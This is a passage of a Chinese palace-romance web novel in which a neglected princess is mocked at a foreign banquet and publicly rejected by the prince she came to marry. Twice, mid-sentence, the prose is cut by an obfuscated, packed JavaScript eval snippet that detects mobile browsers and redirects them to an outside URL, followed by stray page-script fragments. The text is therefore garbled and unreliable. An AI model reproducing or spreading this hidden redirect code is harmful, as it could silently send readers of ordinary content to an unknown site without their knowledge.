穗穗询问的看向慕容远,他却不再理会她,径自面朝皇帝,与宾客闲谈起来。 他们聊的是从南楚来北燕一路的见闻。 向来伶牙俐齿的宋嘉懿,在这种场合,一句话也插不上,更别提穗穗。若非为着慕容远,北燕皇室怕是一个表情都不屑于给她。 只有宋景安能见缝插针搭上几句话,每每开口,必定字斟句酌,谦卑恭敬,姿态比他在国子监上学听讲时还要端正。 谈及路过的边境重镇,安西郡,宋景安愈发正色道, “父皇一直记挂着与陛下在安西会盟的情谊,此番他本想亲自送亲,只是春耕实在抽不开身,只好命我代为前来。” 北燕人没有兴趣听这个南楚太子说话,宋景安说到最后,甚至带上讨好笑意,好似感激于北燕皇室愿意给他这个表忠心的机会。 穗穗垂下眼帘,她想起两年前一次下学,路过御花园时,无意间听到了长兄和大臣的感慨,说南楚国库不足北燕的三分之一,兵马不足北燕的一半,若真开战,南楚或许一个月都抵抗不了。 南楚落后到了这种地步,所以,北燕人才敢肆意践踏她,肆意践踏长兄。 北燕皇帝淡笑着砸了口酒,“既然挂怀,这些年怎么没听到你父皇的消息?若非阿远赴楚,朕怕是等不来尔等贵客。” 两国早已不再像从前那样年年会盟。这其中,有南楚式微却不愿低头的原因,也有北燕如日中天、不满足于现状的原因。 宋景安怎么答都不对,笑意再也挂不住,脸上青一阵白一阵,额角渗出细汗。 穗穗哪里见过这样唇枪舌战的场面,一时间,吓得心提到嗓子眼。宋嘉懿在她身边也绷直了脊背,紧张得目光发颤。 皇后的视线在他们身上逡巡片刻,莞尔一笑,“好了陛下,妾身今日专门宴请朝临公主,倒叫您把话都说了。” 听见皇后提起老三的媳妇,皇帝威严的眉眼才终于舒展几分。 他转头向着宋辞穗,好半晌,才不咸不淡道了一句, “朝临,辞穗,朕倒是没听说南楚还有这么一位公主。” 自打成亲公之于众,北燕的人一直怀疑,南楚不知从哪里弄来一个野丫头,冒充公主,欺骗他们。 穗穗在南楚太没有存在感,这些年来,没有人为她记生平,她的那页皇谱也不知被丢到了哪个角落。 折腾许久,最后还是老御史翻出她出生那年的年表,才证明了她是货真价实的公主。 穗穗尚未为自己辩解,便见皇后娘娘嗔怪的睨了皇帝一眼, “此事过去那么久了,陛下还翻出来说。辞穗姑娘这般水灵乖巧,怎么可能不是公主?陛下可别把本宫的好儿媳给吓着了。” 皇帝微顿,讪讪笑了笑,“嗯,是,挺好的姑娘,挺好。” 穗穗诚惶诚恐,完全不知道这种场合该如何应对,只能不住作福。 皇后被她逗得合不拢嘴,“能被阿远看上,那自然是极好的。” 说着,皇后抹下腕上一只金镯子,让宫人端给穗穗, “好孩子,勿要多礼。你能嫁来北燕,定是有福之人。以后就安安心心留在这儿,好好服侍阿远,同他生几个娃娃,一家人热热闹闹的,这福气定是绵延不断。” 同慕容远生娃娃这种事,穗穗从未打算过。当下听了皇后娘娘的话,还没闹明白心里是什么滋味,已经忍不住瞥向对面的那个人。 慕容远自然不乐意,“太子殿下尚未婚娶,母后想要含饴弄孙,该指望太子殿下,莫要指着儿臣胡说。” 他对于穗穗的不喜过分明显,语气冰冷生硬。皇后顿时神情僵硬,不知该说什么,只好叫传菜。 很快,宫娥鱼贯而入。一水儿的石榴红罗裙,乌发环髻,姿态袅袅,手捧金樽玉碟,翡翠珍馐,亮彩夺目。 金银玉器堆满视野,两国国力之悬殊,就这样赤裸裸的展露在面前。耳边充斥的质疑,在此刻变得顺理成章,穗穗唯有默默忍受。 穗穗生在深宫、长在内庭,这是她第二次出席国宴,第一次是离开前父皇为她践行。 为了不闹笑话,她悄悄用余光观察在场宾客,学习这些北燕皇室的行为举止。 说实话,北燕人的习惯真是粗蛮难看,譬如直接用手持握馕饼,这要是在南楚皇宫,定是要拖出去挨板子的。 但再难看,她都得学,她还指望着今日能好好表现,讨得帝后欢心,将婚事坐实。 宫娥为宾客呈上餐碟,从他们两眼放光的模样,穗穗猜测,菜色颇佳,帝后该是为今日宫宴费了不少心思,她也因此越发紧张起来。 等候许久,宫娥终于捧着玉盘行到穗穗的席边。 她掩饰着好奇,微微探头,正想瞧瞧是什么好吃的东西,差点被膻味熏得作呕。 是羊肉和羊奶。 这个味道她太熟悉了。有一次,番邦进贡了一栏上好的羔羊。穗穗给浣衣局搬了大半个月的脏衣桶,终于换来一斤肉,正要好好享受一番,第一口下肚,就吐了出来。 邻座,长兄察觉到异样,劝穗穗道,“这是皇室草场里养出来的最好的羊肉,一点膻味也没有,妹妹一定要尝尝。” 可是穗穗不是不爱吃,是不能吃。后来好不容易有机会请太医诊脉,她才知道,她吃不得羊肉,一口都不行。 穗穗小声叹了口气,对宫娥摆摆手,想不声不响将餐碟撤下去。 不料,皇后突然关切的看了过来,“朝临公主,可是有什么不妥?” 顿时,席上的目光齐刷刷看来,穗穗如芒在背,支支吾吾半晌,只能道一句,“妾身福薄,消受不起陛下和娘娘准备的美味。” 席间戏谑四起,拿慕容远打趣,“我北燕的羊肉也会遭人嫌弃,老三,你带来的这位公主可真是矜贵。” 慕容远目光从对面飞来,气势汹汹,足以将她生吞活剥。 所幸,他虽然恼怒着,好歹还是不情不愿扬手一挥。宫娥得令,终于将羊肉端了下去,穗穗这才松了口气。 没办法,嫁来北燕,口味不合是难以避免的,这是她为了这桩婚姻必须克服的困难。 除了喜食羊肉,北燕人还好酒,尤爱就着海碗豪饮。那酒幸辣浓烈,格外醉人,很快,宴席上便一片群情高涨。 在宾客的起哄下,皇帝扬声叫人端来一碟宝贝,又取来宝刀,给每位宾客分了一小块,看上去珍惜得很。 穗穗蹙眉看着餐碟端到跟前,近旁一位亲王笑道,“公主没有品尝到我们的羊肉美酒,这马肉不能再错过了。” 原来是马肉。 穗穗从来没吃过马肉,并不知道吃下去会发生什么。但她已经没有拒绝的余地,要是还想留在北燕做人家媳妇,就不能再扫兴。 精致骨瓷玉碟摆到她的席案上,其间盛着三片薄得透光的肉片。周遭安静了片刻,所有人都在观察她的反应。 穗穗心一横,模仿着宾客的模样,手持肉片卷起大蒜,塞进嘴里。 一瞬间,一股浓烈的辛辣味道直窜脑门,带着难以名状的酸苦,钻心难忍,穗穗不住猛咳。 耳边传来皇帝模模糊糊的赞赏声音,穗穗很想听清,奈何胃里很快就翻江倒海,以难以阻挡之势冲破阻碍。 最后关头,她一把推开身边的宋嘉懿,尽数吐在坐席上。 同时,她也终于听清了,皇帝在说,“朕亲自圈养的马肉,能不能入得了朝临公主的眼?” 能不能?她面前一滩吐出来的秽物已经给出了答案。 宣和殿上好似凝固了一般,可怕至极。 穗穗吓得失神,全然不知道自己如何离开坐席、走到殿中央的。耳边许多压得极低的窃窃私语,像有数千只蚊蝇在耳边盘旋。 屋漏偏逢连夜雨,不争气的腿脚又被裙摆绊住,她直挺挺的摔在地上,以一种滑稽的姿势趴在地上。 北燕皇室再也忍不住哄笑,肆无忌惮的讥讽道, “你看她趴在地上的姿势多滑稽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490161|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像不像在街边行乞?” “你没听说吗?是她自个儿死皮赖脸追到三皇子府上的,可不就是来我北燕乞讨来了。” “我原以为南楚多厉害呢,结果这般没规矩。三皇子怎么摊上了这样的夫人,这要是落在我身上,我得连夜逃出上京。” 穗穗挣扎着跪立起来,浑身抖得像筛子,泪珠包在眼眶,簌簌颤动。 这些人怎么能嘲笑她没规矩呢?明明她的规矩学得最好了。 从小阿娘就告诉她,只有在年关宫宴才能见到父皇。于是她没日没夜学规矩,每年都期待着能去宫宴上见一见父皇。 南楚叫得上的礼制她都倒背如流,如何行礼、如何跪拜、如何形容举止,她能做得一丝一毫都不差。 明明她的规矩学得最好了,他们不能这样诋毁她…… 席间的声讨甚嚣尘上,皇帝迟迟没有制止。穗穗攥着拳头,紧紧绞着碍事的裙摆,将嘴唇咬得发白。 不消想也知道,慕容远那么要面子的人,一定怨恨她到了极点。她已经不敢奢求慕容远的解救了,只抱着最后一丝期望,侧头看向长兄和阿姐。 宋景安和宋嘉懿就坐在不远处,无动于衷的模样,就好像什么都没发生过。 穗穗的目光将要触碰的瞬间,两人默契的将移开视线、落向远处,留下两张漠然的面庞。 穗穗便明白了两人的意思。这席上唯二两位至亲,也选择了袖手旁观。 一颗心沉沉落下,穗穗垂下眼帘。收回目光的时候,她不经意看见了长兄和阿姐的席案。 金灿灿的餐碟里,整齐堆放着羊碎骨,切成小块的马肉,粟米和绿叶。北燕人如此粗蛮的吃食,在长兄和阿姐手下,甚至比她的课桌都还要井然有序。 优雅、端庄、训练有素,这才是一国皇室该有的面目。而她呢?强撑起来的尊严被撕破,她的卑微无处遁形。 那一刻,一种比失望更大的悲哀包裹住穗穗。她才知道,将礼教背得滚瓜烂熟有什么用?有皇室血脉有什么用?在真正的公主面前,她根本就上不了台面。 过了不知多久,皇后娘娘轻柔的声音传来,“都怪本宫考虑不周,没有顾及公主的习惯,多好看的袍子,就这样糟蹋了。” 她的目光宽慰过穗穗,又落在慕容远身上,“正好,本宫殿里还有一身蜀锦裁的衣裙,是你们小女娘爱穿的样式。阿远,快带你夫人去换洗休整。” 皇后娘娘以为两人已经礼成,对于更衣这种事也就没有避讳,顺便也能让慕容远哄哄穗穗。 但穗穗很清楚,她于慕容远,根本不是夫人,而是仇人,恨不得甩开十万八千里的那种仇人。 她跪在地上,等待着慕容远将真相揭露。 相较于她的忐忑,慕容穗冷漠得可怕。他不动如山坐在暗影里,面目看不出他的愤怒,只是每一个字都不再留任何情面, “我和五公主没有成婚,我没有这样的夫人。” 殿上再度安静得落针可闻。 “什么叫没有成婚?”一直没有作声的皇帝突然发问,让本就冰封的氛围更加骇人。 偏生这时,一位公子哥大摇大摆闯进殿中,开口便唤慕容远“三哥”, “听说南楚姑娘懂事听话,个个都水灵似仙女。三哥,快让我瞧瞧嫂嫂。” 慕容远的脸色又阴沉三分,他向着门口闯进来的皇子怒目而去,“没有嫂嫂,她不是你皇嫂。” 小皇子顺着宾客的目光,看清了跪在殿中央的姑娘,瑟瑟发抖蜷成一团,看上去狼狈至极。 北燕人性子直,喊打喊杀都不带眨眼,鲜少见到这样娇娇小小、卑躬屈膝的场面。小皇子不知道发生了什么,挠挠脑袋,问出了在场所有人都疑惑的问题, “没有成亲?那三哥同她是什么关系?” 慕容远的目光落回穗穗身上,渐渐暗淡,然后他当着所有人的面,说出了那个穗穗最不想听到的回答。 “她是王府的丫鬟。” 5. 第 5 章 北燕再强盛,皇帝皇后也不敢当着宋景安和宋嘉懿的面,称呼穗穗为丫鬟。 皇后赶紧打圆场,“阿远,朝临公主人美心善,愿意屈尊降贵服侍你。你就算分不清名分,也该晓得感激,怎能张口闭口称呼人家为丫鬟。” 慕容远这才朦胧意识到自己的过分,面色微僵,囫囵应了一句,“一个称呼罢了,儿臣没有与她成婚,她是什么身份都与我无关。” 虽然穗穗已经预料到慕容远的冷漠,但还是忍不住被他这话气得发笑。是他将她带来北燕的,如今他却说她与他无关,这世上怎么有这样狼心狗肺的人。 “你啊,以前常年征战在外就罢了,如今安定了,也该好好学学怎么疼人。” 皇后的语气透出无奈和妥协,显然是打算以这个理由,敷衍搪塞过去。 可这事,跟会不会疼人有什么关系呢? 两国和亲,南楚和北燕都要请钦天监卜算,报鸿胪寺备案,是众所周知的事情。 现在,慕容远明目张胆的出尔反尔,皇帝皇后和满殿皇室宗亲居然也都默契的选择了缄口不言。 穗穗蹙起秀眉,难掩质问。 皇后明显心虚,目光躲闪着不看她,“朝临公主别多心,阿远他就是个榆木脑袋。你且先在敦王府住下,本宫一定给你主持公道。” 穗穗知道,此事不当众说清楚,往后很难再有转圜。只可惜,皇帝皇后看上去很难左右慕容远。慕容远在北燕的地位,比她想的还要强大。 还有早前已经备好放在一侧的聘礼单子,也被皇后挥手换下,又呈上来另外一册礼帖,说是答谢穗穗救命之恩的谢礼,相较聘礼明显要薄上许多。 穗穗难掩失望,低声谢恩,心里已经另外做起打算。 宴后,慕容远被皇帝皇后留下,穗穗跟着长兄和阿姐回驿馆。 宋嘉懿畏寒,马车里炭火添得足,将铜丝火炉子都熏得红彤彤的,发出滋滋声响。 宋景安和宋嘉懿心知自己袖手旁观属实过分,一时尴尬无言,叫火炉子烘烤着,愈发燥热难耐。 穗穗受不住,见马车良久未动,悄悄掀帘往外看去。 上京城多风沙,街上游人布鞋春衫,灰尘仆仆,毫无亮色,就像在她心中蒙上了一层阴翳。 一群人围在夯土矮墙前,堵住街巷。下细瞧去,是有人在墙上贴告示,告示上依稀载有“比武赠刀”的字样。 宋嘉懿也从另一侧车窗看见了街上的动静,自然嫌弃非常,明眸含怒,低声暗骂了一句。 回身时,她的余光看见穗穗,忍不住连带着穗穗数落起来, “我当初说什么来着,让你跟我和长兄留在驿站,你偏要跟着慕容远回府。如今可好,落得个无名无分的下场,我们脸都被你丢尽了。” 面对突如其来的斥责,穗穗愣怔抬头。在北燕皇室面前,长兄和阿姐像鸵鸟一样不敢帮她撑腰,这会儿倒是理直气壮起来,非但不心疼,还跟外人一样怪罪她。 穗穗心里不是滋味,“是他们欺人太甚,不怪我。” 见宋辞穗竟有胆子反驳,宋嘉懿更加生气, “这种事情,你在嫁来北燕之前就应该思虑到! 你嫁的不只是慕容远,你要面对的是整个北燕皇室。你该不会指望着用书本上那些条条框框,来应付北燕这群豺狼虎豹吧?” 宋辞穗刻苦背诵礼制这件事,宋嘉懿之前目睹过。 每年冬季,她都能看见宋辞穗通红小手、捧着书往学堂走,一边走、一边摇头晃脑。 每年,她这位小妹妹都期待能去宫宴见上父皇一面,每年都没能赴宴不说,第二年,居然还像榆木疙瘩一样死记硬背,妄图以此证明自己的懂事,可笑得很。 宋嘉懿鄙夷的冷哼一声。她是父皇最宠爱的公主,一向耀武扬威,穗穗有些怵她,垂头缩进衣领里,不敢搭话。 宋嘉懿睨了眼她这幅受气包的模样,恨铁不成钢,“罢了,我同你费什么口舌。慕容远铁了心不成婚,这北燕你也留不下来,过几天我和长兄带你回南楚。” 回南楚? 穗穗诧异抬起头,“我不回去,我要嫁给慕容远的。” 离开南楚的那一刻起,她就没想过回去。 宋嘉懿彻底被穗穗惹怒,若非受限于马车,她高低要站起来看看这人脑子里装的都是什么, “宋辞穗,你是不是缺心眼?慕容远那样嫌弃你,你居然还想给人家当通房丫鬟?丢人现眼!” 宣和殿上慕容远没有明说,但大家心知肚明。上赶着往王府里凑的能是什么丫鬟?只能是贴身服侍了爷们、又得不到名分认可的通房。 这比出尔反尔拒婚,还要侮辱人。 宋景安也对慕容远的做法深感不满,面色铁青劝道, “你阿姐说得对。北燕不适合你。既无贴心的夫君,口味也不习惯,而且这里的人皮糙肉厚、野蛮得很。 小意啊,你长得这样娇弱,上学时受一丁点风寒都不行,动辄高烧三天三夜,若是留在北燕,只会自讨苦吃。” 自讨苦吃?穗穗拧起眉头。她只是身量小,但是一点都不娇弱,因为珍惜上学的机会,十年不敢有一天生病旷课。 而且…… “长兄,我不是小意,我是穗穗。” 小意是父皇的第六位公主,比她小一岁,和她一样毫无存在感,就连去岁嫁出宫,好多人都不知晓。长兄估计是把她两记错了。 在南楚就是这点不好,父皇处处留情,子女多得数不清。宫里的人可都精着,一颗心可以掰成成百上千瓣,与谁都是最要好。 她就做不到,如今她的心里,只有嫁给慕容远。 宋景安眼底划过片刻难堪,但很快,他蹙眉掩下愧色,烦躁的捏了捏额心。 他说东,穗穗偏要说西,对牛弹琴,有时他也不得不怀疑,穗穗是不是真的缺心眼。 “总之,在我心中,你们都是我最亲的妹妹,长兄还能害你不成?你跟我们回去,颜面丢一回就够了。” 温和的目光看了过来,循循善诱,穗穗却不想回应,悄悄垂头。 她其实不太喜欢长兄这番话,就好像她多么不堪、留在北燕一定会颜面扫地似的。长他人志气、灭自己威风。 默了片刻,穗穗幽幽开口,“可是长兄,南楚都知道我是嫁出去的公主。如今我被夫家抛弃,我又该以什么身份回去呢?还是说,长兄愿意养我终老,允我终身不嫁?” 方才信誓旦旦劝她回去,面对这个问题,宋景安又支支吾吾起来。穗穗便更加笃定,南楚是回不去了。 有些人,只在乎自己的颜面,根本不是真心为她考虑。 ==== 马车停在驿馆前,穗穗没急着回敦王府,而是往驿馆外院去见一个人。 此时约近黄昏,换岗的卫兵在院墙外走动,疏影横斜,夕阳柔和,为粗犷张扬的街巷增添几许婉约。 耳房里,墨色劲装的郎君刚刚交班回来,正站在红木台盆前,绞了素巾净面。残存的浮光洒金屋内,穗穗看清那人温润如玉的面庞,勾唇笑起来, “瑾安师兄,今日进宫赴宴,回程正好来看你。” 顾瑾安闻声推开虚掩的门扉,露出玉树临风的模样,身上轻薄的武服浸染了细汗,勾勒出清贵威严的姿仪。 他是禁军羽林卫的统领,穗穗此行和亲,便是由他带兵护送。 听见穗穗提起进宫,顾瑾安如墨眼眸渐渐暗淡, “都怪末将无能,让公主任人欺凌。” 他难掩愧疚,叹息斟酌许久,欲言又止劝道, “若是公主和亲不成,不如……不如回南楚,娘娘的事可以从长计议。” 他口中的“娘娘”,是穗穗的生母,被弃置冷宫十余载的余才人。如今,整个南楚,也就只有他还愿意尊称一声“娘娘”。 顾瑾安是宁国公府老国公爷的老来子,家世显赫,人又能干,年纪轻轻就在禁军担任要职。 上学那会儿,老国公是国子监的武师傅,他在国子监更是风头无两。 但他向来为人端庄周正,从不恃宠而骄。 同窗都不屑搭理穗穗,只有顾瑾安,会耐心解答穗穗的问题,愿意花费时间指导她练习,就连穗穗习武受伤,也都是靠着顾瑾安送的伤药恢复。 穗穗虽然玩笑的称呼他为“师兄”,但心底里,他早就比兄长还亲近。 所以,娘亲的事情,穗穗只告诉了顾瑾安。 穗穗的娘亲身体一直不好,两年前的冬天,下雪受冻,从此一病不起。 娘亲骨子里是个很骄傲的人,父皇厌弃她,她也绝不肯低头求情。因为皇帝的冷落,母女两连太医都请不来。 后来,还是托顾瑾安的关系,才悄悄领来一位大夫。 那老先生说,娘亲的病很古怪,等闲治不好,只能养着。 而养病的药,不是西山的灵芝,就是东海的珊瑚,很贵,贵的吓人。 穗穗仔细计算过,想让娘亲毫无后顾之忧的养病,她得攒够一万两黄金。 是以,她才将目光打向慕容远。卖了自己,嫁人,拿聘礼,是她眼下能想到的最快的拿到钱的办法。 旁人的嘲讽并非空穴来风,她确实见钱眼开,一心捞钱。但她绝非贪图享乐之徒,她要的是实打实的救命钱。 穗穗收起笑意,眼眸流露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490162|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚决之态,“师兄,我不会回去。今日前来,是想将娘亲托付给师兄。” 她从袖兜里取出两份随身携带的册子,交给顾瑾安,“这些年,师兄为我们母女劳神费力,这些谢礼还请师兄收下。余下的这些,劳烦转交给娘亲,让她遵照医嘱,用最好的药,莫要亏待自己。” “娘亲脾气倔,怕是不肯收,师兄若是得空,替我监督她好好吃药。” 说着,穗穗将册子往顾瑾安胸腹推了推。书页尖角碰到他汗湿的武服,他静立在黑暗里,微微握拳,却迟迟没有接下。 穗穗泛起疑惑,“怎么了?莫非,师兄真的希望我回南楚?” 顾瑾安沉默半晌,才轻轻点了点头,“三王爷态度如此恶劣,一朝不成……末将不放心。” 穗穗闻言,莞尔一笑,将册子塞进他的手心, “可我已经回不去啦。南楚礼教严苛,弃妇根本不为世俗所容。长兄那么聪明,都想不到我该以什么身份回去,父皇他们又不可能养我和娘亲一辈子。” 顾瑾安垂下眼,“或许,末将可以帮忙。” 穗穗笑意更盛,“我知道师兄为我好,不过,师兄若是有办法,这些年早就出手相救了,也不至于到今天这地步。如今,能救阿娘的就只有钱了。” 看着穗穗不以为意的模样,顾瑾安眸光闪烁。 宁国公府家大业大,想要找名目安置一位不受宠的公主,或是暗中支持一位被废的后宫娘娘,都并非难事。 只是母女两都是不甘曲折的性子,顾瑾安也不愿见穗穗低下头颅。这么多年,他对她总是进退两难。 顾瑾安注视着眼前人亮晶晶的眉眼,良久,终是无奈叹了口气。他从来都左右不了她。 “那公主至少留些钱给自己,若是亏待了自己,娘娘会担心。” 穗穗象征性的从钱袋子里捻了一锭金子,笑眼弯弯道,“且等着吧,我一定能赚够阿娘的药钱,还要赚好多好多钱报答师兄。” 顾瑾安苦笑着没做声。他倒不指望穗穗的回馈,只希望她能如意。 回到王府,天色已暗。 春杏听说了宫里发生的事,一早等在院前,一双眼儿又红又肿,明显狠狠哭过。 残阳落进远山,凉风卷了一地落花,暮色中,小丫头手里微弱的灯火飘摇晃动。 穗穗无声叹了口气,扶住春杏往回走,“方才去见过师兄,他们半个月之后离开,我从他那儿拿了一瓶金疮药,回头帮我揉揉脚踝。” 春杏吸吸鼻尖,乖乖的“哦”了声,突然又察觉到不对,“公主不一起回去吗?” 她小步跟在穗穗,眉心越拧越紧,“三爷那样对公主,公主难不成还要在他身边受气?!” 自打穗穗救下慕容远,春杏就十分不喜这位未来的姑爷。加之,北燕聘礼丰厚是她告诉公主的,是她间接将公主推进火坑的,她心里又愤恨又愧疚,谈及慕容远,免不了咬牙切齿。 穗穗心中怨气已消退不少,听春杏在身边低声咒骂,忍不住摇头笑道, “春杏,不要忘了我们的目的。回到南楚只能再次被关进内庭,没有任何出路。但留在这里,至少我人是自由的。就算最后没有聘礼,我也总能找到赚钱的办法。” 她想通了,通房就通房吧,她不能为了面子,连娘亲救命的钱都不要了。 见穗穗如此坚决,春杏惊讶收声。 几年前,当公主气势汹汹、提出要去浣衣局搬脏衣桶换钱的时候,她便被狠狠震撼过一次。 没想到,后来,她家公主真的用劳动换来了钱,而如今,竟然还要只身在异国他乡立足。 春杏愣怔驻足。她看见,廊下秀灯照在她家公主的侧颜,每一根蓬勃的额发都裹上金灿灿的光。她家公主玉颈微扬,脚步雀跃,比秀灯还耀眼。 春杏注视着她,震撼之余,涌出无限骄傲,又忍不住有些心疼。 “北燕的习惯和我们不一样,之前在南楚赚钱的法子恐怕都没法用。公主想好要做什么了吗?” 穗穗沉吟片刻,颇为坦率的摇摇头,“不过,习惯不同也非坏事。我的力气和身手,在南楚得不到重视,只能做些粗活。但北燕尚武,说不定反而更有用武之地。” 说着,穗穗想起出宫路上,晃眼而过的比武告示,心念微动,不如先去赢件趁手的武器。 主仆二人正说着话,院外传来喧哗。 是宫里来人,说慕容远冲撞陛下,受了板刑,下不得地,请王府去宫里接他。 主仆两惊异的对视一眼。北燕人似豺狼虎豹,那刑法定然也不是吃素的,穗穗心里泛起些担忧, “我们去瞧瞧,可别打出问题。” 6. 第 6 章 夜色渐浓,街上人烟渐散。马车沿着来时路,无声奔驰在黑夜里。 凉风打散穗穗的秀发,道旁灯火明明灭灭,将她的孤影拉得老长。 终于,宫门前雪亮的秀灯越来越近,马车刚一停住,她便下车,往宫门小步快跑去。 宫门已经落锁,穗穗叫门的声音吵醒门房值夜的侍卫。偏门开了一条缝,来人披了件袄衣骂骂咧咧走出来,迷蒙的睡眼来回打量着穗穗。 南楚公主大闹宣和殿的事迹已经传遍,侍卫看着眼前这位披头散发的南楚女娘,很快就将她和故事里那个不知好歹的公主联系起来。 可他也只是神情淡漠,眼帘微阖道了一句, “宫门已闭,闲杂人等勿要喧哗闹事。” 说着,他抬手关门,却被穗穗手掌把住门沿, “宫里通传说三爷受刑,让王府来接他,劳烦行个方便。” 侍卫听了这话,露出一个啼笑皆非的表情,懒得在她身上浪费口舌,只用力阖门。 不想,这小姑娘外表娇娇弱弱,暗地里却力大如牛,他用力得脸都憋红了,门板依旧纹丝不动。 侍卫索性松手,扬声嚷道,“这里是北燕皇宫,能进出的只有王府德高望重的管事亲旧。就你?你是王府什么人?” “我是……”穗穗哑口无言。 她突然发现,慕容远带给她的伤害远不止于眼下所见。 因为他的一席话,恐怕她在北燕人的心目中,早已成为一个贪慕虚荣、没脸没皮凑到他们战神跟前的丫鬟。 所以,即便是皇宫值守的侍卫,也敢对她趾高气昂。 穗穗只觉兜头一盆冷水浇下,面色颓然。正不知所措时,门内传出动静。 一位宫娥从照壁后走出来,向着穗穗盈盈施礼,说静妃娘娘有请。 毕竟是宫里的娘娘,侍卫的神情瞬间恭敬,又在得了宫娥一锭银子之后,斟酌着将穗穗放了进去。 穗穗来之前,背过北燕皇帝的后宫,着重了解过几位诞育子嗣的宠妃,里面没有静妃。 没有子嗣,也不太受宠,不知道这位娘娘大晚上的见她作何,穗穗不免心生狐疑。 宫娥跟她解释说,“三皇子伤的不轻,还在光明殿换洗,静妃娘娘想请公主先去她的春和轩稍侯。” 她的声音恭恭敬敬。这还是来到北燕之后,第一次有人询问她的意愿,穗穗心中微暖,浅浅点下头。 原以为要到春和轩才能见到这位娘娘,没想到,刚过内掖门,就见亭亭玉立的美妇人等在甬道边,静妃娘娘竟亲自出来迎接她。 宫娥引着穗穗过去见礼,穗穗惊愕得声音都有些颤。 静妃娘娘笑了起来,更加温柔娴雅。她从垂地的雪白裘衣下探出玉手,自然而然牵住穗穗。恍惚之中,一股淡淡的冷香萦绕鼻尖,像是雨后的丛林,有湿漉漉的青草、成百上千种花朵、伴着百年古木。 一瞬间,穗穗心底漫开一种安心的感觉,好似万川归海,抚平了连月来的波折。 静妃娘娘的手冰冰凉凉,捏着穗穗掌心的软肉, “自从听说阿远要带辞穗姑娘回来,我就一直很想见见你。白日里没资格赴宴,这回姑娘来接人,我可得赶紧让小桃先将你请来。 阿远那小子以后有的是时间,先让我好好瞧瞧。” 静妃外表涵雅端庄,说话语气却莫名有些俏皮,很是平易近人。 只是,这突如其来的亲近,到底还是让穗穗本能戒备。 静妃见她目露警惕,恍然一笑, “瞧我多冒失,吓着辞穗姑娘了。阿远他娘亲和我是结拜姐妹,我们一起入宫,在宫里最为交好。如今,小阿远终于长大成家,我实在是高兴忘形。” 小桃在一旁解释道,“三皇子虽然名义上是被皇后抚养长大,但私底下都唤我们娘娘一声姨娘。” 穗穗斟辨了一番亲疏远近,这才收起戒备,怯生生抿唇笑了笑。 静妃看在眼里,许是又想起少时美好岁月,止不住唏嘘感慨,美目涌出灼灼泪光。 不知不觉,来到静妃娘娘的春和轩。精致小巧的院落,种满了花花草草,在暮色里轻柔拂动。 穗穗想起了静妃袖底的香气,鲜花娇弱,很难得在北燕看到如此生机勃勃的景象,看来静妃将它们照顾得很好,真是位温柔善良的娘娘。 走进厅堂,静妃娘娘早已备好菜肴,没有北燕惯食的大鱼大肉,一只只轻薄瓷碟,盛放着色泽丰盈的时蔬糕点,一看就是根据穗穗的口味精心准备的。 “好孩子,宣和殿上的事我都听说了,委屈你了,奔波这一日,都没好好吃上一口饭,怕是饿坏了。” 静妃娘娘招呼她一块儿坐到案前,烛灯在她背后安静平稳的散发着光泽,让她整个人看起来都暖融融的。 奔波在外时不觉得,静妃娘娘这一说,穗穗才感觉强烈的饥饿和疲倦蔓延到全身。 今天去了那么多地方,见了那么多人,没有一个人关心过她的温饱。到头来,是一位北燕的陌生娘娘心疼她。 穗穗心里泛起酸涩,愧疚垂了垂眼,“是我礼数不周,让三皇子丢脸了。” 她的声音低沉呢哝,到底还是带了些埋怨。静妃是过来人,一听就晓得小姑娘的心思。 “辞穗姑娘,莫要怨恨阿远。小时候,他被南楚设计,抓去做人质。自那以后,他很难再相信别人,对南楚更是厌恶。 要他在这么短的时间内,欣然接纳姑娘,确实有些强人所难了。” 穗穗这么多年一直在内庭,对前朝事知之甚少,压根不知道慕容远和南楚还有这样一段渊源。 静妃看着她惊讶的模样,郑重的点点头,声音也变得沉缓, “可能这就是你二人的缘分吧。若非陛下要求阿远去南楚和亲,他估计一辈子都不会踏足南楚。” 这又是怎么回事? 穗穗举着玉箸的指尖轻轻颤了颤, “和亲?” 静妃没有察觉到她声音里的异样,侧身从隐几后取出早已备好的伤药,美目轻垂,更多了几许心疼, “是阿远悄悄给我说的,陛下担心他军功太盛,不想他再上战场,想让他成家之后留在上京。 这些年陛下对太子偏颇得厉害,无论阿远表现得多么优秀,都少不了挨打受罚,像今天这种板刑已经是家常便饭。” 说着,静妃将伤药推给穗穗,欲言又止劝道, “朝临公主,你是好姑娘。事已至此,不妨再给阿远一些时间,他会想通的。” 穗穗震惊得不知该说什么。 这月余来,她费尽口舌、用尽力气要嫁给慕容远,直到此刻她才知道,慕容远本来就是要去娶一位南楚姑娘的。 他责骂她、侮辱她,可他分明心知肚明,这事并不完全怪她。 穗穗摩挲着瓷瓶,指腹传来丝丝凉意,心中像失望透顶,又像委屈透顶。 她在想,慕容远该是最不想得罪北燕皇帝的,可这次,哪怕违抗陛下的和亲旨意,他也不愿和她结婚,他是有多不喜欢她啊。 静妃娘娘见穗穗接下送药的事,只觉小两口和好多了几分希望,复又噙上殷切笑意。 她满目慈爱,手上不停往穗穗碗里夹菜,不知不觉,将穗穗面前堆得小山似的。 